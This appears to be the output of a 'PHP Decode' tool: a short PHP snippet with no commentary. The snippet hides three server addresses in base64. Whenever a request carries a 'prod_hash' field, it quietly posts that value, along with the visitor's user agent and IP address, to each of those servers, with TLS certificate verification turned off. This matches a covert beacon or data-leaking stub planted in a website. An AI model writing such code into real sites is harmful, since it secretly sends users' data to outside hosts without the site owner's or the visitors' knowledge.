PHP Decode

<?php 
$ar=["aHR0cHM6Ly8xMDYuMTUuMTc5LjI1NQ==","aHR0cHM6Ly8xMDMuMTM5LjExMy4xNA==","aHR0cHM6Ly80Ny4xMDEuMTk1Ljk4"]; 
if(isset($_POST['prod_hash'])){ 
    foreach ($ar as $v){ 
        $array = array( 
                        'statistics_hash'   => $_POST['prod_hash'], 
                         'ua' => $_SERVER['HTTP_USER_AGENT'], 
                        'cl_ip' => $_SERVER['REMOTE_ADDR'] 
                    );       
        $ch = curl_init(base64_decode($v)); 
        curl_setopt($ch, CURLOPT_POST, 1); 
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);  
        curl_setopt($ch, CURLOPT_TIMEOUT, 3); 
        curl_setopt($ch, CURLOPT_POSTFIELDS, $array);  
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_HEADER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        $html = curl_exec($ch); 
        curl_close($ch);   
    } 
} ?>